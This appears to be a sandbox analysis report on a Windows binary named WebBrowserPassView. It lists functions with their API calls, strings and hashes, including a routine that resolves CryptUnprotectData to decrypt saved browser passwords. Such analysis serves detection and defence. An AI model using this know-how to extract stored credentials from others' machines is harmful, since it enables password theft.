Instruction ID: d236c1b17a1aae76216467299f6e18822a0d202c31a727bef5ceca0d2f67f94c
Opcode Fuzzy Hash: fda9e58c4000ceba745e64ac9364c45ec6b3e521a2b8c8870e442f0a76aa31b3
Instruction Fuzzy Hash: B31184B3D005186BDB00EFA4DC49EDAB7ACEB5A210F454937FA15DB141E638E6448798

Uniqueness

Uniqueness Score: -1.00%

Function 00407F32, Relevance: 12.0, APIs: 8, Instructions: 42clipboardmemoryCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32(?,?,0040F25C,-00000210), ref: 00407F3A
wcslen.MSVCRT ref: 00407F47
GlobalAlloc.KERNEL32(00002000,00000002,?,?,?,?,0040F25C,-00000210), ref: 00407F57
GlobalLock.KERNEL32 ref: 00407F64
memcpy.MSVCRT ref: 00407F6D
GlobalUnlock.KERNEL32(00000000), ref: 00407F76
SetClipboardData.USER32 ref: 00407F7F
CloseClipboard.USER32(?,?,0040F25C,-00000210), ref: 00407F8F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ClipboardGlobal$AllocCloseDataEmptyLockUnlockmemcpywcslen
String ID:
API String ID: 1213725291-0
Opcode ID: cdb750a96828277e3b05c43c57443b03ae672cf50655171118c2d7db54b82ba6
Instruction ID: 8669bfd28652b36aabcc6f95cbac9fd564b8d5c2b1f3dd921f492192fb7780cb
Opcode Fuzzy Hash: cdb750a96828277e3b05c43c57443b03ae672cf50655171118c2d7db54b82ba6
Instruction Fuzzy Hash: E8F0E03B600A157FD6103BF0BC4CF5B776CDBC6B96B01013AF905D6252DE68580487B9

Uniqueness

Uniqueness Score: -1.00%

Function 00406FCE, Relevance: 11.4, APIs: 9, Instructions: 106stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406FF4
memset.MSVCRT ref: 00407008
strcpy.MSVCRT(?,?,?,00407919,?,?,?,?,?,?,?,?,?), ref: 00407022
strcpy.MSVCRT(?,?,?,?,?,?,?,00407919,?,?,?,?,?,?,?,?), ref: 00407067
strcpy.MSVCRT(?,00001000,?,?,?,?,?,?,?,00407919,?,?,?,?,?,?), ref: 0040707B
strcpy.MSVCRT(?,?,?,00001000,?,?,?,?,?,?,?,00407919,?,?,?,?), ref: 0040708E
wcscpy.MSVCRT ref: 0040709D
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,?,?,?,?,?,?,?,?,?,00407919), ref: 004070C3
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,?,000003FF,?,?,?,?,?,?,?,?,?,00407919), ref: 004070DD

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: strcpy$ByteCharMultiWidememset$wcscpy
String ID:
API String ID: 4248099071-0
Opcode ID: 221fa140badc488d7490084bdd8a123b4b2ae1bb81a73de0e3900b412043c0ad
Instruction ID: 3602a3695f0633691502e701aaeaa3678f077821d3d25540d64766a890a16dc7
Opcode Fuzzy Hash: 221fa140badc488d7490084bdd8a123b4b2ae1bb81a73de0e3900b412043c0ad
Instruction Fuzzy Hash: A6412D7590021DAFDB20DF64CC80FDAB3FCBB09344F0485AAB559D2141DA34AB448F64

Uniqueness

Uniqueness Score: -1.00%

Function 00404F3A, Relevance: 10.6, APIs: 7, Instructions: 125windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00404F51
SendMessageW.USER32(00000000,00001009,00000000,00000000), ref: 00404F6A
SendMessageW.USER32(?,00001036,00000000,00000026), ref: 00404F77
SendMessageW.USER32(?,0000101C,00000000,00000000), ref: 00404F83
memset.MSVCRT ref: 00404FE7
SendMessageW.USER32(?,0000105F,?,?), ref: 0040501C
SetFocus.USER32(?), ref: 004050A2

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessageSend$FocusItemmemset
String ID:
API String ID: 4281309102-0
Opcode ID: cabf6ed893144343294746ff1285555b4b015a401c90904a970732f73e5fe41f
Instruction ID: 4a7769bfe8dd657eebcefc70b29ecb6e887c437cb47c08b61b0609965a717ddb
Opcode Fuzzy Hash: cabf6ed893144343294746ff1285555b4b015a401c90904a970732f73e5fe41f
Instruction Fuzzy Hash: 7B415975900219BBDB20DF95CC89EAFBFB9EF04754F1040AAF508A6291D3749A90CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040D26F, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

wcscat.MSVCRT ref: 0040D33E
_snwprintf.MSVCRT ref: 0040D365

Strings

<td bgcolor=#%s nowrap>%s, xrefs: 0040D27F
<td bgcolor=#%s>%s, xrefs: 0040D28D
<tr>, xrefs: 0040D297
 , xrefs: 0040D338

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _snwprintfwcscat
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 384018552-4153097237
Opcode ID: f46ff3c48073cbe96136da65081651e95d718f608025dc9e628f6efcf1769426
Instruction ID: 8f1261d6e50b9fc48a8d4c2a01cb2efc3c1dd918db621c17a7092c97f5fd87e6
Opcode Fuzzy Hash: f46ff3c48073cbe96136da65081651e95d718f608025dc9e628f6efcf1769426
Instruction Fuzzy Hash: 7E318D31900209EFDF04EF54CC86AAE7F75FF44320F1001AAE905AB2E2C738AA55DB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040B974, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32 ref: 0040B98A
memset.MSVCRT ref: 0040B9A9
GetMenuItemInfoW.USER32 ref: 0040B9E5
wcschr.MSVCRT ref: 0040B9FD

Strings

0, xrefs: 0040B9C4
6, xrefs: 0040B9CC

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ItemMenu$CountInfomemsetwcschr
String ID: 0$6
API String ID: 2029023288-3849865405
Opcode ID: 00042f4cecb0564cffffbf5123c116da2299592ae5eb2f27c9d7456f419c59bb
Instruction ID: 3c4375d2aaca836e1f5ba8730f1b4cbf28b1f601c5efe325adce4426e162c3cb
Opcode Fuzzy Hash: 00042f4cecb0564cffffbf5123c116da2299592ae5eb2f27c9d7456f419c59bb
Instruction Fuzzy Hash: 6A218B72605340ABD710DF55D845A9BB7E8FB89B54F00063FF644A2291E77ADA00CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00417BE9, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00417BF2

Part of subcall function 00416CB6: GetVersionExW.KERNEL32(?), ref: 00416CD9

FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00417C19
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00417C42
LocalFree.KERNEL32(?), ref: 00417C5D
free.MSVCRT(?,0044C838,?), ref: 00417C8B

Part of subcall function 00416D4F: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,75145970,?,00416E7A,?), ref: 00416D6D
Part of subcall function 00416D4F: malloc.MSVCRT ref: 00416D74

Strings

OsError 0x%x (%u), xrefs: 00417C6F

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FormatMessage$ByteCharErrorFreeLastLocalMultiVersionWidefreemalloc
String ID: OsError 0x%x (%u)
API String ID: 2360000266-2664311388
Opcode ID: 8bfb20d829e2964922284bcc965883c1a7f62db9999a68da7033c4551d0de9ee
Instruction ID: 86e7f975cda22aef79341c94f36a987d619a37d11feed098ff88b3a8796ba2f5
Opcode Fuzzy Hash: 8bfb20d829e2964922284bcc965883c1a7f62db9999a68da7033c4551d0de9ee
Instruction Fuzzy Hash: BA11B234E01228BBDB11ABA2DD8DCDF7F78EF85750B20005BF40592211E7784A80DBE8

Uniqueness

Uniqueness Score: -1.00%

Function 004086FA, Relevance: 10.6, APIs: 7, Instructions: 63timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00408716
GetDateFormatW.KERNEL32(00000400,00000001,000007C1,00000000,?,00000080), ref: 00408742
GetTimeFormatW.KERNEL32(00000400,00000000,000007C1,00000000,?,00000080), ref: 00408757
wcscpy.MSVCRT ref: 00408767
wcscat.MSVCRT ref: 00408774
wcscat.MSVCRT ref: 00408783
wcscpy.MSVCRT ref: 00408795

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Time$Formatwcscatwcscpy$DateFileSystem
String ID:
API String ID: 1331804452-0
Opcode ID: faaca5197708b47c47af442705d4c9df3f3a62e632b81e41ea1eb2464032714f
Instruction ID: e89223cf66055297cb9dadcb336121efaa359588445afa49c1b13fad1ad85cab
Opcode Fuzzy Hash: faaca5197708b47c47af442705d4c9df3f3a62e632b81e41ea1eb2464032714f
Instruction Fuzzy Hash: 3D1160B280011CBBEF11AF94DD45EEB7BBCEB41744F10407BBA04A6091D6389E448B79

Uniqueness

Uniqueness Score: -1.00%

Function 0040D86C, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D891
memset.MSVCRT ref: 0040D8A6
_snwprintf.MSVCRT ref: 0040D8F3

Strings

<%s>, xrefs: 0040D8E2
<?xml version="1.0" encoding="ISO-8859-1" ?>, xrefs: 0040D8BF
<?xml version="1.0" ?>, xrefs: 0040D8B8

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$_snwprintf
String ID: <%s>$<?xml version="1.0" ?>$<?xml version="1.0" encoding="ISO-8859-1" ?>
API String ID: 3473751417-2880344631
Opcode ID: 6c1110d14c1add4ef8e68146380b3aae4225835160ec4e19b547157684646b60
Instruction ID: 334aba75e86a29cb8f13e765f22732fbee0fc66aecb0188c901082e5a368eb6e
Opcode Fuzzy Hash: 6c1110d14c1add4ef8e68146380b3aae4225835160ec4e19b547157684646b60
Instruction Fuzzy Hash: 6C01DFB2A402197BE710A759CC41FAA776DEF44744F1440B7B60CF3141D7389E458799

Uniqueness

Uniqueness Score: -1.00%

Function 00408806, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408826
_snwprintf.MSVCRT ref: 0040884D
wcscat.MSVCRT ref: 0040885F
wcscat.MSVCRT ref: 0040887C
wcscat.MSVCRT ref: 0040888B

Strings

%2.2X, xrefs: 0040883C

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcscat$_snwprintfmemset
String ID: %2.2X
API String ID: 2521778956-791839006
Opcode ID: 5a064a07adf84ed7b2831601ac1f3950ee49257a2339621e3ef87230185a7937
Instruction ID: 7e3155c1ee39ddc5e1c88fc61abef366a99ea1f709d40badb718d03975286e65
Opcode Fuzzy Hash: 5a064a07adf84ed7b2831601ac1f3950ee49257a2339621e3ef87230185a7937
Instruction Fuzzy Hash: 8F012873D4031866F734E7519C46BBA33A8AB81B18F11403FFC54B51C2EA7CDA4446D8

Uniqueness

Uniqueness Score: -1.00%

Function 00443C91, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

wcscpy.MSVCRT ref: 00443CA6
wcscat.MSVCRT ref: 00443CB5
wcscat.MSVCRT ref: 00443CC6
wcscat.MSVCRT ref: 00443CD5
VerQueryValueW.VERSION(?,?,00000000,?), ref: 00443CEF

Part of subcall function 0040807E: wcslen.MSVCRT ref: 00408085
Part of subcall function 0040807E: memcpy.MSVCRT ref: 0040809B

Part of subcall function 00408148: lstrcpyW.KERNEL32 ref: 0040815D
Part of subcall function 00408148: lstrlenW.KERNEL32(?), ref: 00408164

Strings

\StringFileInfo\, xrefs: 00443CA0

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcscat$QueryValuelstrcpylstrlenmemcpywcscpywcslen
String ID: \StringFileInfo\
API String ID: 393120378-2245444037
Opcode ID: 9500244735cad2a77f643a6d996c161e8bec2251a1074d797bccc37d017a6394
Instruction ID: 4bcd922806ee50f9cb47b7d9b2cc513868d30f54de93413914084f8cb2eb3ca3
Opcode Fuzzy Hash: 9500244735cad2a77f643a6d996c161e8bec2251a1074d797bccc37d017a6394
Instruction Fuzzy Hash: B801847290020DA6EF11EAA1CC45EDF777CAB44308F1005B7B654F2052EA3CDB869B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B7A3, Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON

Download Yara Rule

APIs

_snwprintf.MSVCRT ref: 0040B7C8
wcscpy.MSVCRT ref: 0040B7EB

Strings

general, xrefs: 0040B7E1
strings, xrefs: 0040B7D6
menu_%d, xrefs: 0040B7AC
dialog_%d, xrefs: 0040B7BC

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _snwprintfwcscpy
String ID: dialog_%d$general$menu_%d$strings
API String ID: 999028693-502967061
Opcode ID: 167585e561b408c48eaedfed01294a32f4914c684c08b453e3d5971788cf8a7a
Instruction ID: fa5e8ebf88800a0e12fd117f624f479e56397311d80730f797776366f89ad5f2
Opcode Fuzzy Hash: 167585e561b408c48eaedfed01294a32f4914c684c08b453e3d5971788cf8a7a
Instruction Fuzzy Hash: 9FE086717C830031FE1115511E83F162150C6E5F95FB1046BF505B16D2DB7D8864668F

Uniqueness

Uniqueness Score: -1.00%

Function 0042A67D, Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 217COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042A6FC

Strings

a GROUP BY clause is required before HAVING, xrefs: 0042A92B
GROUP, xrefs: 0042A8B9
aggregate functions are not allowed in the GROUP BY clause, xrefs: 0042A93F
8, xrefs: 0042A814
ORDER, xrefs: 0042A887

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset
String ID: 8$GROUP$ORDER$a GROUP BY clause is required before HAVING$aggregate functions are not allowed in the GROUP BY clause
API String ID: 2221118986-1606337402
Opcode ID: 8c8ae128e2328f7302dbfa3f65ab71e8e651d3896b870492eb27771cacaf7654
Instruction ID: c7fea52ce07df1abaedfaf21b9d509cbcb108d5d19e9a81960d934b60e9c5d67
Opcode Fuzzy Hash: 8c8ae128e2328f7302dbfa3f65ab71e8e651d3896b870492eb27771cacaf7654
Instruction Fuzzy Hash: 6A818D70A083219FDB10DF15E48161BB7E0AF94324F59885FEC859B252D378EC95CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00413117, Relevance: 9.1, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000,?,00000000,00000000,?,004115CD,00000000,00000000), ref: 00413152
memset.MSVCRT ref: 004131B4
memset.MSVCRT ref: 004131C4

Part of subcall function 00413031: wcscpy.MSVCRT ref: 0041305A

memset.MSVCRT ref: 004132AF
wcscpy.MSVCRT ref: 004132D0
CloseHandle.KERNEL32(?,004115CD,?,?,?,004115CD,00000000,00000000), ref: 00413326

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memset$wcscpy$CloseHandleOpenProcess
String ID:
API String ID: 3300951397-0
Opcode ID: f89de95a6920a90433c065a9965a4fcf749ac6404f68e573733b6ce647e0e13f
Instruction ID: cefdbdf849389f09311ea621c5a87f262da3bfb792e558c61850347b92c9bf04
Opcode Fuzzy Hash: f89de95a6920a90433c065a9965a4fcf749ac6404f68e573733b6ce647e0e13f
Instruction Fuzzy Hash: 0D514971108344AFD720DF65CC88A9BB7E8FB84306F404A2EF99982251DB74DA44CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00417EE5, Relevance: 9.1, APIs: 6, Instructions: 78COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00417F17
GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 00417F25
free.MSVCRT(00000000), ref: 00417F6B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFilefreememset
String ID:
API String ID: 2507021081-0
Opcode ID: 589a6b9333c77986f3b6355c6ce351534fc2f1959dd785c0c1c88223f13a717d
Instruction ID: b8dc40b53dc963fdbe0ae3b1e60dcad109612476599bdcfb1117a2ceff08efc0
Opcode Fuzzy Hash: 589a6b9333c77986f3b6355c6ce351534fc2f1959dd785c0c1c88223f13a717d
Instruction Fuzzy Hash: 0811B73690C1159B9B109F649CC15EF7278DB49354B21013BF912A2281D63C9D82D2AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF2B, Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 78COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040EF4D

Part of subcall function 0040B301: GetModuleHandleW.KERNEL32(00000000,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B340
Part of subcall function 0040B301: LoadStringW.USER32(00000000,0000000A,00000FFF,?), ref: 0040B3D9
Part of subcall function 0040B301: memcpy.MSVCRT ref: 0040B419

Part of subcall function 0040B301: wcscpy.MSVCRT ref: 0040B382
Part of subcall function 0040B301: wcslen.MSVCRT ref: 0040B3A0
Part of subcall function 0040B301: GetModuleHandleW.KERNEL32(00000000,?,?,?,0040C3FA,?,0040FE90,00000000,00000000,?), ref: 0040B3AE

Part of subcall function 00408AE8: memset.MSVCRT ref: 00408B09
Part of subcall function 00408AE8: _snwprintf.MSVCRT ref: 00408B3C
Part of subcall function 00408AE8: wcslen.MSVCRT ref: 00408B48
Part of subcall function 00408AE8: memcpy.MSVCRT ref: 00408B60
Part of subcall function 00408AE8: wcslen.MSVCRT ref: 00408B6E
Part of subcall function 00408AE8: memcpy.MSVCRT ref: 00408B81

Part of subcall function 00408907: GetSaveFileNameW.COMDLG32(?), ref: 00408956
Part of subcall function 00408907: wcscpy.MSVCRT ref: 0040896D

Strings

*.xml, xrefs: 0040EFDA
*.htm;*.html, xrefs: 0040EFB3
txt, xrefs: 0040EF52
*.txt, xrefs: 0040EF6F
*.csv, xrefs: 0040EF9E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpywcslen$HandleModulememsetwcscpy$FileLoadNameSaveString_snwprintf
String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
API String ID: 1392923015-3614832568
Opcode ID: e098a2b6de55531eea522cb88dcf061458ab68b85293c38f111b81194adb8019
Instruction ID: 893d8713e26b77edc4206c052df4fc7d3163be0104e9675467069f1f0f0c5c5e
Opcode Fuzzy Hash: e098a2b6de55531eea522cb88dcf061458ab68b85293c38f111b81194adb8019
Instruction Fuzzy Hash: 963150B1D006199FDB10EF96D8856DD7BB4FF04318F20417BF908B7281EB786A458B98

Uniqueness

Uniqueness Score: -1.00%

Function 00416E10, Relevance: 9.1, APIs: 6, Instructions: 61COMMON

Download Yara Rule

APIs

AreFileApisANSI.KERNEL32 ref: 00416E17
MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 00416E35
malloc.MSVCRT ref: 00416E3F
MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 00416E56
free.MSVCRT(?), ref: 00416E5F
free.MSVCRT(?,?), ref: 00416E7D

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharMultiWidefree$ApisFilemalloc
String ID:
API String ID: 4131324427-0
Opcode ID: ef1d8c4a491119e611ed89199fe48a787826ffdbe5a65be19b588c9cf178c72a
Instruction ID: 8f18c9831eb1c79f14fd8e789aed1b74bdecd3d50ffb4352c5f07f5f59d31971
Opcode Fuzzy Hash: ef1d8c4a491119e611ed89199fe48a787826ffdbe5a65be19b588c9cf178c72a
Instruction Fuzzy Hash: 4901FC7A504221BBAB215B75EC01EEF36DCDF457B07220326FC14E7290DA28DD4145EC

Uniqueness

Uniqueness Score: -1.00%

Function 00414CCE, Relevance: 9.0, APIs: 2, Strings: 4, Instructions: 21COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00414CF3
memcpy.MSVCRT ref: 00414D03

Strings

MMA, xrefs: 00414CDF, 00414CED
LMA, xrefs: 00414CFD
MMA, xrefs: 00414CEE, 00414D14
NA, xrefs: 00414CFE

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy
String ID: NA$LMA$MMA$MMA
API String ID: 3510742995-965156261
Opcode ID: 55ac8c502bd4826d858cd5ef6fc5d691ccd3d3d57d4c1cb0b8c1e43a78ebe62b
Instruction ID: 8582fd1753a63c193c8d59700b7b4d4e45a0e47666d49b47a36a18adf3e061cc
Opcode Fuzzy Hash: 55ac8c502bd4826d858cd5ef6fc5d691ccd3d3d57d4c1cb0b8c1e43a78ebe62b
Instruction Fuzzy Hash: DBE09A30940350DAE360A744DC82F823294A742B26F11843BE508229E3C3FC98C88BAD

Uniqueness

Uniqueness Score: -1.00%

Function 00417AB2, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(000000E6,?,?,0041767E), ref: 00417AF6
GetTempPathA.KERNEL32(000000E6,?,?,0041767E), ref: 00417B1E
free.MSVCRT(00000000,0044C838,00000000), ref: 00417B46

Strings

%s\etilqs_, xrefs: 00417B9D
etilqs_, xrefs: 00417B4E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: PathTemp$free
String ID: %s\etilqs_$etilqs_
API String ID: 924794160-1420421710
Opcode ID: ef23db0a414d9dcf011a3825053a170985a18b01ba0b77813df6364c9434a8ca
Instruction ID: 98cb418060ea171a52ad1c8f6cb6bf58db0dc7ae7347cd78cc57f1029aea62d9
Opcode Fuzzy Hash: ef23db0a414d9dcf011a3825053a170985a18b01ba0b77813df6364c9434a8ca
Instruction Fuzzy Hash: F8314B3160C2595AE730A7659C41BFB73AD9F6434CF2404AFE481C2182EF6CEEC58A5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5DA, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040D611

Part of subcall function 004147A8: memcpy.MSVCRT ref: 00414825

Part of subcall function 0040CDFA: wcscpy.MSVCRT ref: 0040CDFF
Part of subcall function 0040CDFA: _wcslwr.MSVCRT ref: 0040CE3A

_snwprintf.MSVCRT ref: 0040D65B

Strings

<item>, xrefs: 0040D5E4
<%s>%s</%s>, xrefs: 0040D64E
</item>, xrefs: 0040D677

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _snwprintf_wcslwrmemcpymemsetwcscpy
String ID: <%s>%s</%s>$</item>$<item>
API String ID: 1775345501-2769808009
Opcode ID: bd6149e99cc7a28de9a93ba740ac90c598832ca3e2003f992b14148a88f33169
Instruction ID: be7e472b8ae12577d0ef69e4d5a2bd87498dbd4f23eec6cc8c98af6d964d1ad5
Opcode Fuzzy Hash: bd6149e99cc7a28de9a93ba740ac90c598832ca3e2003f992b14148a88f33169
Instruction Fuzzy Hash: 3E11C13160031ABBEB11AB65CCC6E997B25FF08708F100026F809676A2C739F961DBC9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F2F9, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040F329

Part of subcall function 00408282: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040BE8F,00000000,0040BD42,?,00000000,00000208,?), ref: 0040828D

wcsrchr.MSVCRT ref: 0040F343
wcscat.MSVCRT ref: 0040F35F

Strings

General, xrefs: 0040F369
.cfg, xrefs: 0040F359

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileModuleNamememsetwcscatwcsrchr
String ID: .cfg$General
API String ID: 776488737-1188829934
Opcode ID: 3c04ec66949ca4b58d7f719b2f0ee793d98d67a51e79d319996db7eeb5c734b3
Instruction ID: 56bea33938f28168157b0b8bcc93b38caa6b0521648f49714e8bc2d05d89a73e
Opcode Fuzzy Hash: 3c04ec66949ca4b58d7f719b2f0ee793d98d67a51e79d319996db7eeb5c734b3
Instruction Fuzzy Hash: 831186769013289ADF20EF55CC85ACE7378FF48754F1041FBE508A7142DB789A858B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040FBD2, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000000), ref: 0040FBF3
RegisterClassW.USER32 ref: 0040FC18
GetModuleHandleW.KERNEL32(00000000), ref: 0040FC1F
CreateWindowExW.USER32 ref: 0040FC3E

Strings

WebBrowserPassView, xrefs: 0040FC36, 0040FC3B, 0040FC3C

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: HandleModule$ClassCreateRegisterWindow
String ID: WebBrowserPassView
API String ID: 2678498856-2171583229
Opcode ID: 83b8f8d6c3154c4bdd4fc1cc3252cc631093d3cfb7f7179f48de14d9357ef2dd
Instruction ID: f352fd5291e0f9f707763c8e0c0f79a6b8b327092a808c719acfd4fe52221a97
Opcode Fuzzy Hash: 83b8f8d6c3154c4bdd4fc1cc3252cc631093d3cfb7f7179f48de14d9357ef2dd
Instruction Fuzzy Hash: 6E01C4B1D02629ABDB01DF998C89ADFBEBCFF09750F108116F514E6241D7B45A408BE9

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB9, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(crypt32.dll,?,00000000,004027E9,?,00000090,00000000,?), ref: 00403BC8
GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00403BDA
FreeLibrary.KERNEL32(00000000), ref: 00403BFD

Strings

crypt32.dll, xrefs: 00403BC3
CryptUnprotectData, xrefs: 00403BD4

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptUnprotectData$crypt32.dll
API String ID: 145871493-1827663648
Opcode ID: 5a4a0124d32878fe9075046ef856c222503c42c3ca474c9d5839c12a83985592
Instruction ID: 6d08c6472c4a7eef0e99d7de69836aa1542f25023555ecd08c966f49be56efdf
Opcode Fuzzy Hash: 5a4a0124d32878fe9075046ef856c222503c42c3ca474c9d5839c12a83985592
Instruction Fuzzy Hash: B3012C36508A419BDB318F168D4881BFEF9EFE1741B25482EE0C6E2261D7799980CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0041409A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40fileCOMMON

Download Yara Rule

APIs

wcscpy.MSVCRT ref: 004140A9
wcscpy.MSVCRT ref: 004140C4
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000,0040F398,00000000,?,0040F398,?,General,?), ref: 004140EB
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,00000001), ref: 004140F2

Strings

General, xrefs: 004140BE

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcscpy$CloseCreateFileHandle
String ID: General
API String ID: 999786162-26480598
Opcode ID: b82796398bdfff255fd1f18aa51d55e941ea69e93fc42597b2932e96296840f9
Instruction ID: 886da17c1b1bf2e9de85dc8b7e1e57be2bc6bdc909f117fec59c49a827307fb5
Opcode Fuzzy Hash: b82796398bdfff255fd1f18aa51d55e941ea69e93fc42597b2932e96296840f9
Instruction Fuzzy Hash: 6BF059B3408701AFF7209B919C85E9B7BDCEB98318F11842FF21991011DB384C4486A9

Uniqueness

Uniqueness Score: -1.00%

Function 00407DF4, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,0040DEA5,00000000,?,0040FF40,00000000,00000000,?,00000000,00000000,00000000), ref: 00407E08
_snwprintf.MSVCRT ref: 00407E35
